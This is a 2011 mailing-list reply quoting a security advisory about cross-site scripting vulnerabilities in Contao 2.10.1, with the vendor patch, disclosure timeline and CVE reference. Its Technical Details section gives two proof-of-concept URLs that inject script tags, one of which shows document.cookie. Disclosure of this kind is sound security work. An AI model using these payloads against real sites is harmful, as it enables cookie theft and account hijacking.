Re: Contao 2.10.1 Cross-site scripting vulnerability

On Sat, Oct 08, 2011 at 07:59:27AM +0000, sschurtz@xxxxxxxxxxx wrote:
Advisory: Contao 2.10.1 Cross-site scripting vulnerability
Advisory ID: SSCHADV2011-025
Author: Stefan Schurtz
Affected Software: Successfully tested on Contao 2.10.1
Vendor URL: http://www.contao.org/
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

Contao 2.10 is prone to multiple Cross-site scripting vulnerability

==================
Technical Details:
==================

http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert('xss')</script>
http://<target>/contao-2.10.1/index.php/teachers/'"</style></script><script>alert(document.cookie)</script>

=========
Solution:
=========

- Vendor patch available - http://dev.contao.org/projects/typolight/repository/revisions/1041
- Release of a new version 2.10.2 next week

====================
Disclosure Timeline:
====================

07-Oct-2011 - informed developers (contao@xxxxxxxxxxxxxx)
07-Oct-2011 - vendor fix
08-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.contao.org/
http://dev.contao.org/projects/typolight/repository/revisions/1041
http://www.rul3z.de/advisories/SSCHADV2011-025.txt

http://osvdb.org/show/osvdb/76293
CVE-2011-4335

- Henri Salo

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